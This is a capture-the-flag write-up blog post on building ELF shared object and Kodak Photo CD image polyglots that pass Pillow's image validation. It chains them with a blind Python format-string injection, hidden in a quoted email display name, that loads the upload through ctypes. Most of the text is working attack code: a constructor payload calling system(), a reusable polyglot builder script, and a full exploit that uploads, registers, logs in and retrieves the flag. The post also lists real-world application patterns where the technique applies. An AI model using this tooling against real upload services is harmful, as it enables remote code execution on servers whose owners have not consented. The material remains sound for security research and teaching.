# ELF in the Pixels: Building Shared Object–Image Polyglots

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# ELF in the Pixels: Building Shared Object-Image Polyglots

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[image: ELF in the Pixels: Building Shared Object-Image Polyglots]

In this post, I will show how to build shared object/image polyglots that can bypass image validation in Python applications. I will start from a challenge I wrote for TRX CTF 2026, explain how the bug chain works, and then focus on the most interesting part: making an ELF shared object that Pillow still accepts as a valid image.

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## Why?

I was inspired by a challenge I solved a while back, IMGC0NV from HITCON CTF 2025. That challenge involved creating a pickle/image polyglot: a BMP file that PIL would accept as an image, while the same bytes could later be interpreted as a malicious pickle stream and deserialized through Python's multiprocessing IPC to achieve RCE.

This made me wonder whether the same idea could be pushed further. Instead of hiding a pickle stream inside an image, could we "smuggle" an ELF shared object inside one?

As far as I know, this specific `.so`/image polyglot technique has not been used elsewhere before. It can be useful in scenarios where a server validates uploaded files as images, stores them on disk, and later exposes a bug that lets us load an arbitrary shared object from that upload directory.

## Challenge Overview

[image: Pixel Vault]

The challenge gives us an image-hosting service written in Python with FastAPI. Users can upload custom images, but uploads are validated by `processing.is_valid_image` before being accepted:

```
from PIL import Image as PILImage, ExifTags

...

def is_valid_image(data):
    try:
        im = PILImage.open(io.BytesIO(data))
        im.verify()

        return True
    except Exception:
        return False
```

`PILImage.open()` identifies the image format by trying registered Pillow plugins, and `verify()` checks that the file is structurally valid enough for that plugin. At first glance this looks like a normal image validation routine, and the rest of the application does not expose any obvious direct file execution primitive.

However, looking more closely at the code, we can find multiple Python format string injections.

The first one is in `app/config.py`:

```
...

def __str__(self) -> str:
    return (
        f"Settings(site={self.SITE_NAME}, url={self.SITE_URL}, "
        f"max_upload={self.MAX_UPLOAD_MB}MB, extensions={self.ALLOWED_EXTENSIONS})"
    ).format(self=self)

...
```

This one is not useful because we do not control any of the values formatted into the string.

Another one is in `app/models/comment.py`:

```
...

def __str__(self) -> str:
    author_name = self.author.username if self.author else "unknown"
    preview = self.body[:16] + "..." if len(self.body) > 16 else self.body
    return f"Comment(id={self.id}, author={author_name}, body={preview})".format(
        self=self,
        author_name=author_name,
        preview=preview,
    )

...
```

This looks more interesting because comments are user-controlled, but the body is truncated to 16 characters before `.format()` is called. That is not enough space for a useful object traversal payload.

The useful bug is in `app/models/user.py`:

```
def __str__(self) -> str:
    return f"User(id={self.id}, email={self.email}, admin={self.is_admin})".format(self=self)
```

Here we control `self.email`, and the result is passed to `.format(self=self)`. This means that braces inside the email are interpreted as Python format fields.

The vulnerable method is reached during login. In `app/routers/auth.py`, the application loads the user from the database and logs it:

```
result = await db.execute(select(User).where(User.username == username))
user = result.scalar_one_or_none()

...

logger.info("User logged in: %s", user)
```

The `%s` conversion calls `str(user)`, which calls `User.__str__`, which then evaluates our format string. So registering a user with a malicious email gives us a blind Python format string injection that is triggered when that user logs in.

## Blind Python Format String Injection

Python format strings are not code execution by themselves, but they can be abused for object traversal. Format fields can access attributes and indexes, for example:

```
{self.__class__}
{self.__dict__}
{self.__mapper__}
```

In this challenge, the `User` object is a SQLAlchemy model. From there we can reach SQLAlchemy internals, then function globals, then `sys.modules`, and finally already-imported modules.

If `ctypes` is present in `sys.modules`, we can use `ctypes.cdll[...]` to load a shared object from a file. Loading a shared object is enough for code execution if the library contains a constructor function, because ELF constructors run automatically when the library is loaded.

A payload like this is enough to load an uploaded file as a shared library:

```
{{self.__mapper__.isa.__globals__[sys].modules[ctypes].cdll[/data/uploads/originals/<year>/<month>/<day>/<shortcode
```

The doubled braces are important in the surrounding Python string context, but the final value stored in the email contains a normal format field. When the user logs in, the application evaluates that field and reaches `ctypes.cdll[path]`.

At this point the exploit chain becomes:

- Upload a file that passes Pillow image validation.
- Make sure the same file is also a valid ELF shared object.
- Register a user whose email contains a format string that loads that uploaded file through `ctypes`.
- Log in as that user to trigger `User.__str__`.
- Let the shared object's constructor execute.

The only missing piece is the polyglot.

## Bypassing EmailStr

Before reaching the database, the email is validated with Pydantic's `EmailStr`. A raw payload like this fails:

```
{self.__mapper__.isa.__globals__[sys].modules[ctypes].cdll[/data/uploads/originals/2026/04/27/abc.png]}
```

The parser rejects characters such as `.`, `[`, and `]` in the unquoted display name/local-part context, producing an error similar to this:

```
pydantic_core._pydantic_core.PydanticCustomError: value is not a valid email address: The display name contains inva
```

The bypass is to use the RFC 5322 `name-addr` form:

```
"Display Name" <addr-spec>
```

In this syntax, the part before `<...>` is a display name. If the display name contains special characters, it can be quoted. This gives us a convenient place to put the format string while still ending the value with a normal email address:

```
"{self.__mapper__.isa.__globals__[sys].modules[ctypes].cdll[/data/uploads/originals/<year>/<month>/<day>/<shortcode
```

So the final payload shape is:

```
fmtstr_payload = (
    f'"{{self.__mapper__.isa.__globals__[sys].modules[ctypes].cdll['
    f'/data/uploads/originals/{year}/{month}/{day}/{shortcode}.png]}}" '
    f'<{secrets.token_hex(4)}@example.com>'
)
```

Now the value passes email validation, but the quoted display name is still preserved and later evaluated by the vulnerable `.format()` call.

An ELF shared object must start with the ELF magic bytes:

```
7f 45 4c 46
```

ASCII-wise, that is:

```
\x7f E L F
```

Most common image formats also require magic bytes at the very beginning of the file:

- PNG starts with `89 50 4e 47 0d 0a 1a 0a`
- JPEG starts with `ff d8 ff`
- GIF starts with `GIF87a` or `GIF89a`
- BMP starts with `BM`

That creates an obvious problem: the first bytes cannot simultaneously be `\x7fELF` and `\x89PNG`, `GIF89a`, or `BM`.

Appending data to images is often easy. Many formats allow trailing data, metadata chunks, comments, or ignored sections. But here we need the opposite: we need an image format that allows arbitrary data before the image header, because the ELF header must stay at offset `0`.

This is where Kodak Photo CD becomes useful.

## Back to 1991!

[image: Kodak Photo CD]

Kodak Photo CD was a system introduced by Kodak in the early 1990s to digitize photographs and store them on compact discs. A Photo CD image file, usually using the `.pcd` extension, stores the same image at multiple resolutions. The format was designed around the layout of CD-ROM sectors, which is why its important structures are aligned to 2048-byte boundaries.

That sector-oriented layout is exactly what makes it interesting for polyglots. Unlike PNG, JPEG, GIF, or BMP, Pillow's PCD parser does not require the image signature at byte `0`. Instead, it seeks into the file and checks for the PCD marker at a later offset.

This means the beginning of the file can be something else entirely. For our purposes, it can be an ELF shared object.

## How Pillow Parses PCD Files

Pillow's `PcdImagePlugin`[1] is very small. The important part looks like this:

```
class PcdImageFile(ImageFile.ImageFile):
    format = "PCD"
    format_description = "Kodak PhotoCD"

    def _open(self) -> None:
        assert self.fp is not None

        self.fp.seek(2048)
        s = self.fp.read(1539)

        if not s.startswith(b"PCD_"):
            msg = "not a PCD file"
            raise SyntaxError(msg)

        orientation = s[1538] & 3
        self.tile_post_rotate = None
        if orientation == 1:
            self.tile_post_rotate = 90
        elif orientation == 3:
            self.tile_post_rotate = 270

        self._mode = "RGB"
        self._size = (512, 768) if orientation in (1, 3) else (768, 512)
        self.tile = [ImageFile._Tile("pcd", (0, 0, 768, 512), 96 * 2048)]
```

There are three important offsets:

```
PCD_HEADER_OFS = 0x800      # 2048
PCD_ORIENT_OFS = 0x800 + 1538
BASE_OFS       = 96 * 2048  # 0x30000
```

The parser does the following:

- Seeks to offset `2048`.
- Reads `1539` bytes.
- Checks that the bytes at offset `2048` start with `PCD_`.
- Reads the orientation byte at `2048 + 1538`.
- Defines the image as RGB, usually with size `768x512`.
- Reads the base image tile from offset `96 * 2048`, which is `0x30000`.

That means a minimal file accepted by Pillow as PCD needs:

- anything before offset `0x800`,
- `PCD_` at offset `0x800`,

- a sane orientation byte at offset `0x800 + 1538`,
- enough bytes after offset `0x30000` for the base image data.

The base image is decoded as 768x512 RGB-ish PCD data. For our exploit we do not care what the pixels look like; we only care that `Image.open(...).verify()` accepts the file. So we can simply pad the file until it is large enough.

For a 768x512 PCD base image, the exploit uses:

```
W, H = 768, 512
CHUNK_LINES = 2
CHUNK_SIZE = 3 * W
NUM_CHUNKS = H // CHUNK_LINES
BASE_SIZE = NUM_CHUNKS * CHUNK_SIZE
MIN_SIZE = BASE_OFS + BASE_SIZE
```

This evaluates to:

```
BASE_OFS  = 196608 bytes  # 0x30000
BASE_SIZE = 589824 bytes
MIN_SIZE  = 786432 bytes
```

So the generated shared object is padded to at least `786432` bytes, then patched at the PCD-specific offsets.

## Building the PCD/SO Polyglot

The first step is to build a normal shared object. The payload uses an ELF constructor so the command runs as soon as the library is loaded through `ctypes`:

```
#include <stdlib.h>

__attribute__((constructor))
static void init(void) {
    system("for f in /data/uploads/originals/*/*/*/*.png; do /readflag 'could you please give me the flag thank you so mu
}
```

Then we patch the generated `.so` so it also satisfies Pillow's PCD parser:

```
def ensure_size(path):
    st = os.stat(path)
    if st.st_size < MIN_SIZE:
        with open(path, "ab") as f:
            f.truncate(MIN_SIZE)

def write_pcd_header(path):
    with open(path, "r+b") as f:
        f.seek(PCD_HEADER_OFS)
        f.write(PCD_HEADER)

        f.seek(PCD_ORIENT_OFS)
        f.write(b"\x00")  # Do not trigger Pillow's post-rotate path.
```

The resulting file has this layout:

```
+----------------------+ 0x00000
| ELF shared object    |
| starts with \x7fELF  |
|                      |
+----------------------+ 0x00800
| PCD_ marker          |
+----------------------+ 0x00e02
| orientation byte     |
+----------------------+ 0x30000
| padded PCD image     |
| data area            |
+----------------------+
```

From the dynamic loader's point of view, the file is a valid ELF shared object. The extra bytes we patch into the file land somewhere inside the shared object's data, padding, or otherwise non-critical area for this generated binary.

From Pillow's point of view, the file is a valid Kodak Photo CD image because the parser only checks for `PCD_` at offset `2048` and then expects image data later in the file.

That gives us a `.png` upload that is actually:

- accepted by Pillow as a PCD image,
- stored by the challenge with a `.png` extension,
- loadable by `ctypes` as an ELF shared object.

## Standalone PCD/SO Polyglot Builder

Before writing the full exploit, it is useful to have a small standalone builder that only does one thing: given C source code for a shared object payload, compile it and patch the resulting ELF so it is also accepted by Pillow as a Kodak Photo CD image.

```python
#!/usr/bin/env python3
import argparse
import os
import shutil
import subprocess
import tempfile

from pathlib import Path

PCD_HEADER_OFS = 0x800
PCD_HEADER = b"PCD_"
PCD_ORIENT_OFS = PCD_HEADER_OFS + 1538
BASE_OFS = 96 * 2048
W, H = 768, 512
CHUNK_LINES = 2
CHUNK_SIZE = 3 * W
NUM_CHUNKS = H // CHUNK_LINES
BASE_SIZE = NUM_CHUNKS * CHUNK_SIZE
MIN_SIZE = BASE_OFS + BASE_SIZE

DEFAULT_SOURCE = r'''
#include <stdlib.h>

__attribute__((constructor))
static void init(void) {
    system("id");
}
'''.lstrip()

def run(cmd):
    print(f"[+] {' '.join(map(str, cmd))}")
    try:
        subprocess.check_call(cmd)
    except subprocess.CalledProcessError as e:
        raise SystemExit(f"[!] Command failed with exit code {e.returncode}") from e

def compile_shared_object(source_path, output_path, cc="cc", extra_cflags=None, extra_ldflags=None):
    extra_cflags = extra_cflags or []
    extra_ldflags = extra_ldflags or []

    output_path = Path(output_path)
    source_path = Path(source_path)

    if output_path.suffix != ".so":
```

```
        output_path = output_path.with_suffix(output_path.suffix + ".so")

    with tempfile.TemporaryDirectory(prefix="pcd_so_builder_") as tmpdir:
        obj_path = Path(tmpdir) / "payload.o"

        cflags = ["-fPIC", "-O2", "-Wall", "-Wextra", *extra_cflags]
        ldflags = ["-shared", *extra_ldflags]

        run([cc, "-c", *cflags, source_path, "-o", obj_path])
        run([cc, *ldflags, obj_path, "-o", output_path])

    return output_path

def ensure_min_size(path):
    path = Path(path)
    current_size = path.stat().st_size

    if current_size < MIN_SIZE:
        with path.open("ab") as f:
            f.truncate(MIN_SIZE)

        print(f"[+] Padded file from {current_size} to {MIN_SIZE} bytes")
    else:
        print(f"[+] File is already large enough: {current_size} bytes")

def patch_pcd_header(path):
    path = Path(path)

    with path.open("r+b") as f:
        f.seek(PCD_HEADER_OFS)
        f.write(PCD_HEADER)

        f.seek(PCD_ORIENT_OFS)
        f.write(b"\x00")

    print(f"[+] Wrote PCD marker at offset 0x{PCD_HEADER_OFS:x}")
    print(f"[+] Wrote orientation byte at offset 0x{PCD_ORIENT_OFS:x}")

def verify_with_pillow(path):
    try:
        from PIL import Image
    except ImportError:
        print("[!] Pillow is not installed, skipping image verification")
        return
```

```
    try:
        im = Image.open(path)
        im.verify()
        print(f"[+] Pillow accepts the output as format={im.format}")
    except Exception as e:
        raise SystemExit(f"[!] Pillow rejected the output: {e}") from e

def verify_as_elf(path):
    with open(path, "rb") as f:
        magic = f.read(4)

    if magic != b"\x7fELF":
        raise SystemExit("[!] Output does not start with ELF magic bytes")

    print("[+] Output still starts with ELF magic bytes")

def write_default_source(path):
    path = Path(path)
    path.write_text(DEFAULT_SOURCE)
    print(f"[+] Wrote default source to {path}")

def parse_args():
    parser = argparse.ArgumentParser(
        description="Build a Kodak Photo CD / ELF shared object polyglot."
    )

    parser.add_argument(
        "-s",
        "--source",
        type=Path,
        help="C source file to compile into the shared object",
    )

    parser.add_argument(
        "-o",
        "--output",
        type=Path,
        default=Path("polyglot.so"),
        help="output polyglot path, default: polyglot.so",
    )

    parser.add_argument(
        "--cc",
```

```
        default=os.environ.get("CC", "cc"),
        help="C compiler to use, default: $CC or cc",
    )

    parser.add_argument(
        "--cflag",
        action="append",
        default=[],
        help="extra compiler flag, can be passed multiple times",
    )

    parser.add_argument(
        "--ldflag",
        action="append",
        default=[],
        help="extra linker flag, can be passed multiple times",
    )

    parser.add_argument(
        "--no-pillow-verify",
        action="store_true",
        help="skip Pillow verification",
    )

    parser.add_argument(
        "--write-template",
        type=Path,
        help="write a minimal constructor payload template to this path and exit",
    )

    return parser.parse_args()

def main():
    args = parse_args()

    if args.write_template:
        write_default_source(args.write_template)
        return

    if args.source is None:
        raise SystemExit("[!] Missing --source. Use --write-template payload.c to generate a template.")

    if not shutil.which(args.cc):
        raise SystemExit(f"[!] Compiler not found: {args.cc}")
```

```
    if not args.source.exists():
        raise SystemExit(f"[!] Source file does not exist: {args.source}")

    out = compile_shared_object(
        source_path=args.source,
        output_path=args.output,
        cc=args.cc,
        extra_cflags=args.cflag,
        extra_ldflags=args.ldflag,
    )

    ensure_min_size(out)
    patch_pcd_header(out)
    verify_as_elf(out)

    if not args.no_pillow_verify:
        verify_with_pillow(out)

    print(f"[+] Done: {out}")

if __name__ == "__main__":
    main()
```

Usage:

```
python3 build_pcd_so.py --source payload.c --output polyglot.so
```

After building, the output should satisfy both checks:

```
file polyglot.so
# ELF 64-bit LSB shared object, x86-64, ...
```

```
from PIL import Image

im = Image.open("polyglot.so")
im.verify()
print(im.format)
# PCD
```

## Full Exploit

Here is the full exploit script, cleaned up and with the relevant constants documented:

```python
import io
import os
import sys
import shutil
import secrets
import tempfile
import requests
import subprocess

from PIL import Image
from bs4 import BeautifulSoup
from datetime import date

HOST = "localhost"
PORT = 80
BASE_URL = f"http://{HOST}:{PORT}"

# Kodak Photo CD / Pillow constants.
PCD_HEADER_OFS = 0x800
PCD_HEADER = b"PCD_"
PCD_ORIENT_OFS = PCD_HEADER_OFS + 1538
BASE_OFS = 96 * 2048

# Pillow's PCD decoder treats the base image as 768x512.
W, H = 768, 512
CHUNK_LINES = 2
CHUNK_SIZE = 3 * W
NUM_CHUNKS = H // CHUNK_LINES
BASE_SIZE = NUM_CHUNKS * CHUNK_SIZE
MIN_SIZE = BASE_OFS + BASE_SIZE

SHARED_OBJECT_C_TEMPLATE = r"""
#include <stdlib.h>

__attribute__((constructor))
static void init(void) {
    system("for f in /data/uploads/originals/*/*/*/*.png; do /readflag 'could you please give me the flag thank you so mu
}
"""

def run(cmd, **kw):
    try:
        subprocess.check_call(cmd, **kw)
    except subprocess.CalledProcessError as e:
```

```
        print(f"[!] Command failed: {' '.join(cmd)} -> {e}", file=sys.stderr)
        sys.exit(1)

def build_shared_object(
    out_path,
    source_code=SHARED_OBJECT_C_TEMPLATE,
    source_name="payload",
    cc=None,
    extra_cflags="",
    extra_ldflags="",
):
    if not out_path.endswith(".so"):
        out_path += ".so"

    if cc is None:
        cc = (os.environ.get("CC") or "cc").split()[0]

    cflags = ["-fPIC", "-O2", "-Wall", "-Wextra"]
    if extra_cflags.strip():
        cflags += extra_cflags.strip().split()

    ldflags = ["-shared"]
    if extra_ldflags.strip():
        ldflags += extra_ldflags.strip().split()

    tmpdir = tempfile.mkdtemp(prefix="shared_obj_")
    try:
        src = os.path.join(tmpdir, f"{source_name}.c")
        obj = os.path.join(tmpdir, f"{source_name}.o")

        with open(src, "w") as f:
            f.write(source_code)

        run([cc, "-c", *cflags, src, "-o", obj])
        run([cc, *ldflags, obj, "-o", out_path])

        return out_path
    finally:
        shutil.rmtree(tmpdir)

def ensure_size(path):
    st = os.stat(path)
    if st.st_size < MIN_SIZE:
        with open(path, "ab") as f:
```

```
            f.truncate(MIN_SIZE)

def write_pcd_header(path):
    with open(path, "r+b") as f:
        f.seek(PCD_HEADER_OFS)
        f.write(PCD_HEADER)

        f.seek(PCD_ORIENT_OFS)
        f.write(b"\x00")

def gen_polyglot():
    output = build_shared_object("exploit.so")
    ensure_size(output)
    write_pcd_header(output)
    return output

def test_polyglot(path):
    try:
        im = Image.open(path)
        im.verify()
        print(f"[+] Pillow accepted the file as {im.format}")
        return True
    except Exception as e:
        print(f"[!] Pillow rejected the polyglot: {e}")
        return False

def register(s, email):
    username = secrets.token_hex(4)

    data = {
        "username": username,
        "email": email,
        "password": username,
    }

    r = s.post(f"{BASE_URL}/register", data=data)
    return r, username

def login(s, username):
    data = {
        "username": username,
        "password": username,
    }
```

```
    return s.post(f"{BASE_URL}/login", data=data)

def upload_polyglot(s, path):
    with open(path, "rb") as f:
        pcd_payload = f.read()

    img_title = secrets.token_hex(8)
    payload_size = len(pcd_payload)

    print(
        f"[!] Uploading exploit image "
        f"({payload_size} bytes / {payload_size / 1024:.2f} KB / {payload_size / 1024 / 1024:.2f} MB)"
    )

    r = s.post(
        f"{BASE_URL}/upload",
        data={"title": img_title, "visibility": "public"},
        files={"files": (f"{img_title}.png", pcd_payload, "image/png")},
    )

    assert "Image uploaded" in r.text, f"Failed to upload PCD polyglot: {r.text}"

    soup = BeautifulSoup(r.text, "html.parser")
    input_element = soup.find_all("input")[0]
    value = input_element.get("value")
    shortcode = value.split("/")[-1] if value else None

    assert shortcode is not None, f"Shortcode not found: {r.text}"
    return shortcode

def build_format_string_payload(shortcode):
    today = date.today()
    year = today.year
    month = f"{today.month:02d}"
    day = f"{today.day:02d}"

    uploaded_path = f"/data/uploads/originals/{year}/{month}/{day}/{shortcode}.png"

    return (
        f'"{{self.__mapper__.isa.__globals__[sys].modules[ctypes].cdll[{uploaded_path}]}}" '
        f'<{secrets.token_hex(4)}@example.com>'
    )

def main():
```

```
    s = requests.Session()

    print("[!] Generating PCD/SO polyglot...")
    out_path = gen_polyglot()

    shortcode = upload_polyglot(s, out_path)
    print(f"[!] Shortcode: {shortcode}")

    fmtstr_payload = build_format_string_payload(shortcode)
    print(f"[!] Registering with format string payload: {fmtstr_payload}")

    resp, username = register(s, fmtstr_payload)
    assert resp.ok, f"Failed to register: {resp.text}"

    print(f"[!] Triggering payload by logging in as {username}...")
    resp = login(s, username)
    assert resp.ok, f"Failed to log in: {resp.text}"

    print("[!] Fetching the flag...")
    flag = s.get(f"{BASE_URL}/raw/{shortcode}").content.strip()

    if flag.startswith(b"TRX") and flag.endswith(b"}"):
        print(f"[!] FLAG: {flag.decode()}")
    else:
        raise RuntimeError("[X] Flag not found")

if __name__ == "__main__":
    main()
```

## Use Cases

Any application that treats `Image.open(...).verify()` as a complete validation step can be interesting to look at, especially if another bug later lets us reference or load the uploaded file:

- An arbitrary file-write primitive only allows writing files that pass `Image.open(...).verify()`
- An image upload endpoint validates files with `Image.open(...).verify()`, while another bug lets us load an arbitrary `.so` from the upload directory

## Limitations

This technique has a few important limitations.

- The output is large. A minimal Pillow-valid PCD file is at least `786432` bytes, which can fail against small upload limits.

- The trick depends on Pillow accepting Kodak Photo CD. If the application restricts detected formats to PNG, JPEG, GIF, or WebP, this will not work. The detected format is `PCD`, regardless of the file extension.
- The polyglot still needs a second bug or dangerous feature that somehow loads the upload as a shared object
- The file is detected as `PCD` so re-encoding the image will destroy the payload

## Conclusion

I had a lot of fun researching this topic, and I'm happy I found something that is actually useful and new. I hope you enjoyed this small research. If you did, check out my previous posts too!

After this, I might publish another piece of research, time and motivation permitting, probably on client-side stuff.

Until then, see you.

~ babelo

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https://pillow.readthedocs.io/en/stable/_modules/PIL/PcdImagePlugin.html

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